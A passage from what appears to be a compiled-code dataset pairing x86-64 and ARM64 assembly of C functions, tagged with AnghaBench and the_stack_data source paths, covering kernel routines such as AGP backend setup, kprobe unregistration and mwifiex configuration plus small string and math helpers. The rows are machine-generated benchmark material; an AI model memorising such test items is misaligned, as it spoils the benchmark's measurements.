ldr x20, [x20, _ENOMEM@GOTPAGEOFF]
Lloh14:
adrp x1, l_.str.3@PAGE
Lloh15:
add x1, x1, l_.str.3@PAGEOFF
b LBB0_17
LBB0_12:
mov w22, #0
mov w21, #0
Lloh16:
adrp x20, _EINVAL@GOTPAGE
Lloh17:
ldr x20, [x20, _EINVAL@GOTPAGEOFF]
Lloh18:
adrp x1, l_.str.2@PAGE
Lloh19:
add x1, x1, l_.str.2@PAGEOFF
b LBB0_17
LBB0_13:
Lloh20:
adrp x20, _PAGE_SIZE@GOTPAGE
Lloh21:
ldr x20, [x20, _PAGE_SIZE@GOTPAGEOFF]
ldr w8, [x20]
lsl w0, w8, #2
bl _vmalloc
str x0, [x19]
cbz x0, LBB0_16
; %bb.14:
ldr w8, [x20]
lsl w2, w8, #2
mov w1, #0
bl _memset
ldr x8, [x19, #8]
ldr x8, [x8, #40]
blr x8
cbz x0, LBB0_27
; %bb.15:
Lloh22:
adrp x20, _EINVAL@GOTPAGE
Lloh23:
ldr x20, [x20, _EINVAL@GOTPAGEOFF]
mov w22, #1
mov w21, #1
Lloh24:
adrp x1, l_.str.5@PAGE
Lloh25:
add x1, x1, l_.str.5@PAGEOFF
b LBB0_17
LBB0_16:
mov w21, #0
Lloh26:
adrp x20, _ENOMEM@GOTPAGE
Lloh27:
ldr x20, [x20, _ENOMEM@GOTPAGEOFF]
mov w22, #1
Lloh28:
adrp x1, l_.str.4@PAGE
Lloh29:
add x1, x1, l_.str.4@PAGEOFF
LBB0_17:
ldr x0, [x19, #40]
bl _dev_err
ldr w23, [x20]
ldr x8, [x19, #8]
ldr x9, [x8, #24]
cbz x9, LBB0_20
; %bb.18:
ldr x8, [x8, #32]
cbz x8, LBB0_20
; %bb.19:
ldr x0, [x19, #16]
ldr w1, [x19, #24]
blr x8
LBB0_20:
ldr x8, [x19, #8]
ldr x8, [x8, #24]
cbz x8, LBB0_22
; %bb.21:
ldr x0, [x19, #16]
bl _page_address
mov x20, x0
ldr x8, [x19, #8]
ldr x8, [x8, #16]
Lloh30:
adrp x9, _AGP_PAGE_DESTROY_UNMAP@GOTPAGE
Lloh31:
ldr x9, [x9, _AGP_PAGE_DESTROY_UNMAP@GOTPAGEOFF]
Lloh32:
ldr w1, [x9]
blr x8
ldr x8, [x19, #8]
ldr x8, [x8, #16]
Lloh33:
adrp x9, _AGP_PAGE_DESTROY_FREE@GOTPAGE
Lloh34:
ldr x9, [x9, _AGP_PAGE_DESTROY_FREE@GOTPAGEOFF]
Lloh35:
ldr w1, [x9]
mov x0, x20
blr x8
LBB0_22:
neg w20, w23
cbz w22, LBB0_24
; %bb.23:
ldr x8, [x19, #8]
ldr x8, [x8, #8]
mov x0, x19
blr x8
LBB0_24:
cbz w21, LBB0_26
; %bb.25:
ldr x0, [x19]
bl _vfree
str xzr, [x19]
LBB0_26:
mov x0, x20
ldp x29, x30, [sp, #48] ; 16-byte Folded Reload
ldp x20, x19, [sp, #32] ; 16-byte Folded Reload
ldp x22, x21, [sp, #16] ; 16-byte Folded Reload
ldp x24, x23, [sp], #64 ; 16-byte Folded Reload
ret
LBB0_27:
add x0, x19, #32
bl _INIT_LIST_HEAD
add x0, x19, #28
bl _spin_lock_init
mov w20, #0
b LBB0_26
.loh AdrpLdrGot Lloh0, Lloh1
.loh AdrpLdrGotLdr Lloh4, Lloh5, Lloh6
.loh AdrpAdd Lloh2, Lloh3
.loh AdrpLdrGotLdr Lloh9, Lloh10, Lloh11
.loh AdrpAdd Lloh7, Lloh8
.loh AdrpAdd Lloh14, Lloh15
.loh AdrpLdrGot Lloh12, Lloh13
.loh AdrpAdd Lloh18, Lloh19
.loh AdrpLdrGot Lloh16, Lloh17
.loh AdrpLdrGot Lloh20, Lloh21
.loh AdrpAdd Lloh24, Lloh25
.loh AdrpLdrGot Lloh22, Lloh23
.loh AdrpAdd Lloh28, Lloh29
.loh AdrpLdrGot Lloh26, Lloh27
.loh AdrpLdrGotLdr Lloh33, Lloh34, Lloh35
.loh AdrpLdrGotLdr Lloh30, Lloh31, Lloh32
.cfi_endproc
; -- End function
.comm _agp_current_version,4,2 ; @agp_current_version
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "can't get memory for scratch page\n"
.comm _ENOMEM,4,2 ; @ENOMEM
l_.str.1: ; @.str.1
.asciz "unable to dma-map scratch page\n"
l_.str.2: ; @.str.2
.asciz "can't determine aperture size\n"
.comm _EINVAL,4,2 ; @EINVAL
l_.str.3: ; @.str.3
.asciz "can't get memory for graphics translation table\n"
.comm _PAGE_SIZE,4,2 ; @PAGE_SIZE
l_.str.4: ; @.str.4
.asciz "can't allocate memory for key lists\n"
l_.str.5: ; @.str.5
.asciz "error configuring host chipset\n"
.comm _AGP_PAGE_DESTROY_UNMAP,4,2 ; @AGP_PAGE_DESTROY_UNMAP
.comm _AGP_PAGE_DESTROY_FREE,4,2 ; @AGP_PAGE_DESTROY_FREE
.no_dead_strip _agp_backend_initialize
.subsections_via_symbols
| AnghaBench/fastsocket/kernel/drivers/char/agp/extr_backend.c_agp_backend_initialize.c | anghabench |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.p2align 4, 0x90 ## -- Begin function inc_inflight_move_tail
_inc_inflight_move_tail: ## @inc_inflight_move_tail
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
pushq %rbx
pushq %rax
.cfi_offset %rbx, -24
movq %rdi, %rbx
addq $16, %rdi
callq _atomic_long_inc
cmpq $0, 8(%rbx)
je LBB0_1
## %bb.2:
movq _gc_candidates@GOTPCREL(%rip), %rsi
movq %rbx, %rdi
addq $8, %rsp
popq %rbx
popq %rbp
jmp _list_move_tail ## TAILCALL
LBB0_1:
addq $8, %rsp
popq %rbx
popq %rbp
retq
.cfi_endproc
## -- End function
.comm _gc_candidates,4,2 ## @gc_candidates
.no_dead_strip _inc_inflight_move_tail
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.p2align 2 ; -- Begin function inc_inflight_move_tail
_inc_inflight_move_tail: ; @inc_inflight_move_tail
.cfi_startproc
; %bb.0:
stp x20, x19, [sp, #-32]! ; 16-byte Folded Spill
.cfi_def_cfa_offset 32
stp x29, x30, [sp, #16] ; 16-byte Folded Spill
add x29, sp, #16
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
.cfi_offset w19, -24
.cfi_offset w20, -32
mov x19, x0
add x0, x0, #16
bl _atomic_long_inc
ldr x8, [x19, #8]
cbz x8, LBB0_2
; %bb.1:
Lloh0:
adrp x1, _gc_candidates@GOTPAGE
Lloh1:
ldr x1, [x1, _gc_candidates@GOTPAGEOFF]
mov x0, x19
ldp x29, x30, [sp, #16] ; 16-byte Folded Reload
ldp x20, x19, [sp], #32 ; 16-byte Folded Reload
b _list_move_tail
LBB0_2:
ldp x29, x30, [sp, #16] ; 16-byte Folded Reload
ldp x20, x19, [sp], #32 ; 16-byte Folded Reload
ret
.loh AdrpLdrGot Lloh0, Lloh1
.cfi_endproc
; -- End function
.comm _gc_candidates,4,2 ; @gc_candidates
.no_dead_strip _inc_inflight_move_tail
.subsections_via_symbols
| AnghaBench/fastsocket/kernel/net/unix/extr_garbage.c_inc_inflight_move_tail.c | anghabench |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _ft_fibonacci ## -- Begin function ft_fibonacci
.p2align 4, 0x90
_ft_fibonacci: ## @ft_fibonacci
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
pushq %r14
pushq %rbx
.cfi_offset %rbx, -32
.cfi_offset %r14, -24
testl %edi, %edi
js LBB0_1
## %bb.2:
movl %edi, %ebx
xorl %r14d, %r14d
cmpl $2, %ebx
jb LBB0_5
.p2align 4, 0x90
LBB0_4: ## =>This Inner Loop Header: Depth=1
leal -1(%rbx), %edi
callq _ft_fibonacci
addl %eax, %r14d
addl $-2, %ebx
cmpl $2, %ebx
jae LBB0_4
LBB0_5:
addl %r14d, %ebx
jmp LBB0_6
LBB0_1:
movl $-1, %ebx
LBB0_6:
movl %ebx, %eax
popq %rbx
popq %r14
popq %rbp
retq
.cfi_endproc
## -- End function
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _ft_fibonacci ; -- Begin function ft_fibonacci
.p2align 2
_ft_fibonacci: ; @ft_fibonacci
.cfi_startproc
; %bb.0:
tbnz w0, #31, LBB0_4
; %bb.1:
stp x20, x19, [sp, #-32]! ; 16-byte Folded Spill
.cfi_def_cfa_offset 32
stp x29, x30, [sp, #16] ; 16-byte Folded Spill
add x29, sp, #16
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
.cfi_offset w19, -24
.cfi_offset w20, -32
mov w19, #0
subs w20, w0, #2
b.lo LBB0_3
LBB0_2: ; =>This Inner Loop Header: Depth=1
sub w0, w0, #1
bl _ft_fibonacci
add w19, w0, w19
mov x0, x20
subs w20, w0, #2
b.hs LBB0_2
LBB0_3:
add w0, w0, w19
ldp x29, x30, [sp, #16] ; 16-byte Folded Reload
ldp x20, x19, [sp], #32 ; 16-byte Folded Reload
ret
LBB0_4:
.cfi_def_cfa wsp, 0
.cfi_same_value w30
.cfi_same_value w29
.cfi_same_value w19
.cfi_same_value w20
mov w0, #-1
ret
.cfi_endproc
; -- End function
.subsections_via_symbols
| the_stack_data/537233.c | stack |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _unregister_kprobe ## -- Begin function unregister_kprobe
.p2align 4, 0x90
_unregister_kprobe: ## @unregister_kprobe
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $16, %rsp
movq %rdi, -8(%rbp)
leaq -8(%rbp), %rdi
movl $1, %esi
callq _unregister_kprobes
addq $16, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _unregister_kprobe ; -- Begin function unregister_kprobe
.p2align 2
_unregister_kprobe: ; @unregister_kprobe
.cfi_startproc
; %bb.0:
sub sp, sp, #32
.cfi_def_cfa_offset 32
stp x29, x30, [sp, #16] ; 16-byte Folded Spill
add x29, sp, #16
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
str x0, [sp, #8]
add x0, sp, #8
mov w1, #1
bl _unregister_kprobes
ldp x29, x30, [sp, #16] ; 16-byte Folded Reload
add sp, sp, #32
ret
.cfi_endproc
; -- End function
.subsections_via_symbols
| AnghaBench/linux/kernel/extr_kprobes.c_unregister_kprobe.c | anghabench |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _uu_avl_pool_destroy ## -- Begin function uu_avl_pool_destroy
.p2align 4, 0x90
_uu_avl_pool_destroy: ## @uu_avl_pool_destroy
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
pushq %r15
pushq %r14
pushq %rbx
pushq %rax
.cfi_offset %rbx, -40
.cfi_offset %r14, -32
.cfi_offset %r15, -24
movq %rdi, %rbx
cmpq $0, 40(%rdi)
je LBB0_4
## %bb.1:
leaq 24(%rbx), %r14
movq 24(%rbx), %r15
movq %r14, %rdi
callq _UU_PTR_ENCODE
cmpq %rax, %r15
jne LBB0_3
## %bb.2:
movq 32(%rbx), %r15
movq %r14, %rdi
callq _UU_PTR_ENCODE
cmpq %rax, %r15
je LBB0_4
LBB0_3:
movl 20(%rbx), %edx
leaq L_.str(%rip), %rdi
movl $4, %esi
movq %rbx, %rcx
callq _uu_panic
LBB0_4:
movq _uu_apool_list_lock@GOTPCREL(%rip), %r14
movq %r14, %rdi
callq _pthread_mutex_lock
movq (%rbx), %rax
movq 8(%rbx), %rcx
movq %rcx, (%rax)
movq %rax, (%rcx)
movq %r14, %rdi
callq _pthread_mutex_unlock
leaq 16(%rbx), %rdi
callq _pthread_mutex_destroy
xorps %xmm0, %xmm0
movups %xmm0, (%rbx)
movq %rbx, %rdi
addq $8, %rsp
popq %rbx
popq %r14
popq %r15
popq %rbp
jmp _uu_free ## TAILCALL
.cfi_endproc
## -- End function
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "uu_avl_pool_destroy: Pool \"%.*s\" (%p) has outstanding avls, or is corrupt.\n"
.comm _uu_apool_list_lock,4,2 ## @uu_apool_list_lock
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _uu_avl_pool_destroy ; -- Begin function uu_avl_pool_destroy
.p2align 2
_uu_avl_pool_destroy: ; @uu_avl_pool_destroy
.cfi_startproc
; %bb.0:
stp x22, x21, [sp, #-48]! ; 16-byte Folded Spill
.cfi_def_cfa_offset 48
stp x20, x19, [sp, #16] ; 16-byte Folded Spill
stp x29, x30, [sp, #32] ; 16-byte Folded Spill
add x29, sp, #32
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
.cfi_offset w19, -24
.cfi_offset w20, -32
.cfi_offset w21, -40
.cfi_offset w22, -48
mov x19, x0
ldr x8, [x0, #40]
cbz x8, LBB0_4
; %bb.1:
mov x20, x19
ldr x21, [x20, #24]!
mov x0, x20
bl _UU_PTR_ENCODE
cmp x21, x0
b.ne LBB0_3
; %bb.2:
ldr x21, [x19, #32]
mov x0, x20
bl _UU_PTR_ENCODE
cmp x21, x0
b.eq LBB0_4
LBB0_3:
ldr w2, [x19, #20]
Lloh0:
adrp x0, l_.str@PAGE
Lloh1:
add x0, x0, l_.str@PAGEOFF
mov w1, #4
mov x3, x19
bl _uu_panic
LBB0_4:
Lloh2:
adrp x20, _uu_apool_list_lock@GOTPAGE
Lloh3:
ldr x20, [x20, _uu_apool_list_lock@GOTPAGEOFF]
mov x0, x20
bl _pthread_mutex_lock
ldp x9, x8, [x19]
str x8, [x9]
str x9, [x8]
mov x0, x20
bl _pthread_mutex_unlock
add x0, x19, #16
bl _pthread_mutex_destroy
stp xzr, xzr, [x19]
mov x0, x19
ldp x29, x30, [sp, #32] ; 16-byte Folded Reload
ldp x20, x19, [sp, #16] ; 16-byte Folded Reload
ldp x22, x21, [sp], #48 ; 16-byte Folded Reload
b _uu_free
.loh AdrpAdd Lloh0, Lloh1
.loh AdrpLdrGot Lloh2, Lloh3
.cfi_endproc
; -- End function
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "uu_avl_pool_destroy: Pool \"%.*s\" (%p) has outstanding avls, or is corrupt.\n"
.comm _uu_apool_list_lock,4,2 ; @uu_apool_list_lock
.subsections_via_symbols
| AnghaBench/freebsd/cddl/contrib/opensolaris/lib/libuutil/common/extr_uu_avl.c_uu_avl_pool_destroy.c | anghabench |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ## -- Begin function main
.p2align 4, 0x90
_main: ## @main
.cfi_startproc
## %bb.0:
movl $1, %eax
cmpl $2, %edi
jg LBB0_2
## %bb.1:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
movq 8(%rsi), %rdi
leaq L_.str(%rip), %rsi
callq _fopen
movq %rax, %rdi
callq _fclose
xorl %eax, %eax
popq %rbp
LBB0_2:
retq
.cfi_endproc
## -- End function
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "w+"
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ; -- Begin function main
.p2align 2
_main: ; @main
.cfi_startproc
; %bb.0:
cmp w0, #2
b.le LBB0_2
; %bb.1:
mov w0, #1
ret
LBB0_2:
stp x29, x30, [sp, #-16]! ; 16-byte Folded Spill
.cfi_def_cfa_offset 16
mov x29, sp
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
ldr x0, [x1, #8]
Lloh0:
adrp x1, l_.str@PAGE
Lloh1:
add x1, x1, l_.str@PAGEOFF
bl _fopen
bl _fclose
mov w0, #0
ldp x29, x30, [sp], #16 ; 16-byte Folded Reload
ret
.loh AdrpAdd Lloh0, Lloh1
.cfi_endproc
; -- End function
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "w+"
.subsections_via_symbols
| the_stack_data/165767070.c | stack |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _ft_strupcase ## -- Begin function ft_strupcase
.p2align 4, 0x90
_ft_strupcase: ## @ft_strupcase
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
movq %rdi, %rax
movb (%rdi), %cl
testb %cl, %cl
je LBB0_5
## %bb.1:
leaq 1(%rax), %rdx
jmp LBB0_2
.p2align 4, 0x90
LBB0_4: ## in Loop: Header=BB0_2 Depth=1
movzbl (%rdx), %ecx
incq %rdx
testb %cl, %cl
je LBB0_5
LBB0_2: ## =>This Inner Loop Header: Depth=1
leal -97(%rcx), %esi
cmpb $25, %sil
ja LBB0_4
## %bb.3: ## in Loop: Header=BB0_2 Depth=1
addb $-32, %cl
movb %cl, -1(%rdx)
jmp LBB0_4
LBB0_5:
popq %rbp
retq
.cfi_endproc
## -- End function
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _ft_strupcase ; -- Begin function ft_strupcase
.p2align 2
_ft_strupcase: ; @ft_strupcase
.cfi_startproc
; %bb.0:
ldrb w8, [x0]
cbz w8, LBB0_5
; %bb.1:
add x9, x0, #1
b LBB0_3
LBB0_2: ; in Loop: Header=BB0_3 Depth=1
ldrb w8, [x9], #1
cbz w8, LBB0_5
LBB0_3: ; =>This Inner Loop Header: Depth=1
sub w10, w8, #97
and w10, w10, #0xff
cmp w10, #25
b.hi LBB0_2
; %bb.4: ; in Loop: Header=BB0_3 Depth=1
sub w8, w8, #32
sturb w8, [x9, #-1]
b LBB0_2
LBB0_5:
ret
.cfi_endproc
; -- End function
.subsections_via_symbols
| the_stack_data/12637361.c | stack |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _mwifiex_ret_802_11_hs_cfg ## -- Begin function mwifiex_ret_802_11_hs_cfg
.p2align 4, 0x90
_mwifiex_ret_802_11_hs_cfg: ## @mwifiex_ret_802_11_hs_cfg
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
pushq %r15
pushq %r14
pushq %r13
pushq %r12
pushq %rbx
pushq %rax
.cfi_offset %rbx, -56
.cfi_offset %r12, -48
.cfi_offset %r13, -40
.cfi_offset %r14, -32
.cfi_offset %r15, -24
movq %rsi, %rbx
movq %rdi, %r14
movq (%rdi), %r12
movl 24(%rsi), %edi
callq _le32_to_cpu
movq %rax, %r15
movq 8(%rbx), %r13
movq _HS_ACTIVATE@GOTPCREL(%rip), %rax
movl (%rax), %edi
callq _cpu_to_le16
cmpq %rax, %r13
jne LBB0_2
## %bb.1:
movq (%r12), %rax
movq _MWIFIEX_USB@GOTPCREL(%rip), %rcx
movl $1, %esi
cmpq (%rcx), %rax
jne LBB0_5
LBB0_2:
movq _CMD@GOTPCREL(%rip), %rax
movl (%rax), %esi
movl 20(%rbx), %r9d
movl (%rbx), %ecx
movl 16(%rbx), %eax
movl %eax, (%rsp)
leaq L_.str(%rip), %rdx
movq %r12, %rdi
movq %r15, %r8
callq _mwifiex_dbg
movq _HS_CFG_CANCEL@GOTPCREL(%rip), %rax
leaq 16(%r12), %rsi
movq _MWIFIEX_IS_HS_CONFIGURED@GOTPCREL(%rip), %rcx
movl (%rcx), %edi
cmpq (%rax), %r15
jne LBB0_3
## %bb.4:
callq _clear_bit
xorl %esi, %esi
cmpq $0, 8(%r12)
je LBB0_6
LBB0_5:
movq %r14, %rdi
callq _mwifiex_hs_activated_event
LBB0_6:
xorl %eax, %eax
addq $8, %rsp
popq %rbx
popq %r12
popq %r13
popq %r14
popq %r15
popq %rbp
retq
LBB0_3:
callq _set_bit
movq (%r12), %rax
movq _MWIFIEX_USB@GOTPCREL(%rip), %rcx
movl $1, %esi
cmpq (%rcx), %rax
je LBB0_5
jmp LBB0_6
.cfi_endproc
## -- End function
.comm _HS_ACTIVATE,4,2 ## @HS_ACTIVATE
.comm _MWIFIEX_USB,8,3 ## @MWIFIEX_USB
.comm _CMD,4,2 ## @CMD
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "cmd: CMD_RESP: HS_CFG cmd reply\t result=%#x, conditions=0x%x gpio=0x%x gap=0x%x\n"
.comm _HS_CFG_CANCEL,8,3 ## @HS_CFG_CANCEL
.comm _MWIFIEX_IS_HS_CONFIGURED,4,2 ## @MWIFIEX_IS_HS_CONFIGURED
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _mwifiex_ret_802_11_hs_cfg ; -- Begin function mwifiex_ret_802_11_hs_cfg
.p2align 2
_mwifiex_ret_802_11_hs_cfg: ; @mwifiex_ret_802_11_hs_cfg
.cfi_startproc
; %bb.0:
stp x24, x23, [sp, #-64]! ; 16-byte Folded Spill
.cfi_def_cfa_offset 64
stp x22, x21, [sp, #16] ; 16-byte Folded Spill
stp x20, x19, [sp, #32] ; 16-byte Folded Spill
stp x29, x30, [sp, #48] ; 16-byte Folded Spill
add x29, sp, #48
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
.cfi_offset w19, -24
.cfi_offset w20, -32
.cfi_offset w21, -40
.cfi_offset w22, -48
.cfi_offset w23, -56
.cfi_offset w24, -64
mov x22, x1
mov x19, x0
ldr x20, [x0]
ldr w0, [x1, #24]
bl _le32_to_cpu
mov x21, x0
ldr x23, [x22, #8]
Lloh0:
adrp x8, _HS_ACTIVATE@GOTPAGE
Lloh1:
ldr x8, [x8, _HS_ACTIVATE@GOTPAGEOFF]
Lloh2:
ldr w0, [x8]
bl _cpu_to_le16
cmp x23, x0
b.ne LBB0_2
; %bb.1:
ldr x8, [x20]
Lloh3:
adrp x9, _MWIFIEX_USB@GOTPAGE
Lloh4:
ldr x9, [x9, _MWIFIEX_USB@GOTPAGEOFF]
Lloh5:
ldr x9, [x9]
cmp x8, x9
b.ne LBB0_6
LBB0_2:
Lloh6:
adrp x8, _CMD@GOTPAGE
Lloh7:
ldr x8, [x8, _CMD@GOTPAGEOFF]
Lloh8:
ldr w1, [x8]
ldr w3, [x22]
ldp w6, w5, [x22, #16]
Lloh9:
adrp x2, l_.str@PAGE
Lloh10:
add x2, x2, l_.str@PAGEOFF
mov x0, x20
mov x4, x21
bl _mwifiex_dbg
Lloh11:
adrp x8, _HS_CFG_CANCEL@GOTPAGE
Lloh12:
ldr x8, [x8, _HS_CFG_CANCEL@GOTPAGEOFF]
Lloh13:
ldr x8, [x8]
Lloh14:
adrp x9, _MWIFIEX_IS_HS_CONFIGURED@GOTPAGE
Lloh15:
ldr x9, [x9, _MWIFIEX_IS_HS_CONFIGURED@GOTPAGEOFF]
Lloh16:
ldr w0, [x9]
add x1, x20, #16
cmp x21, x8
b.ne LBB0_5
; %bb.3:
bl _clear_bit
ldr x8, [x20, #8]
cbz x8, LBB0_8
; %bb.4:
mov w1, #0
b LBB0_7
LBB0_5:
bl _set_bit
ldr x8, [x20]
Lloh17:
adrp x9, _MWIFIEX_USB@GOTPAGE
Lloh18:
ldr x9, [x9, _MWIFIEX_USB@GOTPAGEOFF]
Lloh19:
ldr x9, [x9]
cmp x8, x9
b.ne LBB0_8
LBB0_6:
mov w1, #1
LBB0_7:
mov x0, x19
bl _mwifiex_hs_activated_event
LBB0_8:
mov w0, #0
ldp x29, x30, [sp, #48] ; 16-byte Folded Reload
ldp x20, x19, [sp, #32] ; 16-byte Folded Reload
ldp x22, x21, [sp, #16] ; 16-byte Folded Reload
ldp x24, x23, [sp], #64 ; 16-byte Folded Reload
ret
.loh AdrpLdrGotLdr Lloh0, Lloh1, Lloh2
.loh AdrpLdrGotLdr Lloh3, Lloh4, Lloh5
.loh AdrpLdrGotLdr Lloh14, Lloh15, Lloh16
.loh AdrpLdrGotLdr Lloh11, Lloh12, Lloh13
.loh AdrpAdd Lloh9, Lloh10
.loh AdrpLdrGotLdr Lloh6, Lloh7, Lloh8
.loh AdrpLdrGotLdr Lloh17, Lloh18, Lloh19
.cfi_endproc
; -- End function
.comm _HS_ACTIVATE,4,2 ; @HS_ACTIVATE
.comm _MWIFIEX_USB,8,3 ; @MWIFIEX_USB
.comm _CMD,4,2 ; @CMD
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "cmd: CMD_RESP: HS_CFG cmd reply\t result=%#x, conditions=0x%x gpio=0x%x gap=0x%x\n"
.comm _HS_CFG_CANCEL,8,3 ; @HS_CFG_CANCEL
.comm _MWIFIEX_IS_HS_CONFIGURED,4,2 ; @MWIFIEX_IS_HS_CONFIGURED
.subsections_via_symbols
| AnghaBench/linux/drivers/net/wireless/marvell/mwifiex/extr_cmdevt.c_mwifiex_ret_802_11_hs_cfg.c | anghabench |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl __start ## -- Begin function _start
.p2align 4, 0x90
__start: ## @_start
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
movq _bss@GOTPCREL(%rip), %rdi
movq _endOfBinary@GOTPCREL(%rip), %rsi
subq %rdi, %rsi
callq ___bzero
xorl %eax, %eax
popq %rbp
jmp _main ## TAILCALL
.cfi_endproc
## -- End function
.globl _memset ## -- Begin function memset
.p2align 4, 0x90
_memset: ## @memset
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
movq %rdi, %rax
testq %rdx, %rdx
je LBB1_20
## %bb.1:
cmpq $8, %rdx
jae LBB1_2
LBB1_18:
movq %rdx, %rdi
jmp LBB1_19
LBB1_2:
movzbl %sil, %r8d
cmpq $32, %rdx
jae LBB1_7
## %bb.3:
xorl %r11d, %r11d
jmp LBB1_4
LBB1_7:
movq %rdx, %r11
andq $-32, %r11
movd %r8d, %xmm0
pxor %xmm1, %xmm1
pshufb %xmm1, %xmm0
leaq -32(%r11), %rcx
movq %rcx, %r10
shrq $5, %r10
incq %r10
movl %r10d, %r9d
andl $3, %r9d
cmpq $96, %rcx
jae LBB1_9
## %bb.8:
xorl %edi, %edi
testq %r9, %r9
jne LBB1_13
jmp LBB1_15
LBB1_9:
andq $-4, %r10
leaq (%rdx,%rax), %rcx
addq $-16, %rcx
xorl %edi, %edi
.p2align 4, 0x90
LBB1_10: ## =>This Inner Loop Header: Depth=1
movdqu %xmm0, (%rcx,%rdi)
movdqu %xmm0, -16(%rcx,%rdi)
movdqu %xmm0, -32(%rcx,%rdi)
movdqu %xmm0, -48(%rcx,%rdi)
movdqu %xmm0, -64(%rcx,%rdi)
movdqu %xmm0, -80(%rcx,%rdi)
movdqu %xmm0, -96(%rcx,%rdi)
movdqu %xmm0, -112(%rcx,%rdi)
addq $-128, %rdi
addq $-4, %r10
jne LBB1_10
## %bb.11:
negq %rdi
testq %r9, %r9
je LBB1_15
LBB1_13:
movq %rdx, %rcx
subq %rdi, %rcx
leaq (%rcx,%rax), %r10
addq $-16, %r10
shlq $5, %r9
xorl %edi, %edi
.p2align 4, 0x90
LBB1_14: ## =>This Inner Loop Header: Depth=1
movdqu %xmm0, (%r10,%rdi)
movdqu %xmm0, -16(%r10,%rdi)
addq $-32, %rdi
movq %r9, %rcx
addq %rdi, %rcx
jne LBB1_14
LBB1_15:
cmpq %rdx, %r11
je LBB1_20
## %bb.16:
testb $24, %dl
je LBB1_17
LBB1_4:
movq %rdx, %r9
andq $-8, %r9
movl %edx, %edi
andl $7, %edi
movd %r8d, %xmm0
punpcklbw %xmm0, %xmm0 ## xmm0 = xmm0[0,0,1,1,2,2,3,3,4,4,5,5,6,6,7,7]
pshuflw $0, %xmm0, %xmm0 ## xmm0 = xmm0[0,0,0,0,4,5,6,7]
leaq (%rdx,%rax), %r8
addq $-8, %r8
negq %r11
movq %r9, %rcx
negq %rcx
.p2align 4, 0x90
LBB1_5: ## =>This Inner Loop Header: Depth=1
movq %xmm0, (%r8,%r11)
addq $-8, %r11
cmpq %r11, %rcx
jne LBB1_5
## %bb.6:
cmpq %rdx, %r9
je LBB1_20
.p2align 4, 0x90
LBB1_19: ## =>This Inner Loop Header: Depth=1
movb %sil, -1(%rax,%rdi)
decq %rdi
jne LBB1_19
LBB1_20:
popq %rbp
retq
LBB1_17:
andl $31, %edx
jmp LBB1_18
.cfi_endproc
## -- End function
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl __start ; -- Begin function _start
.p2align 2
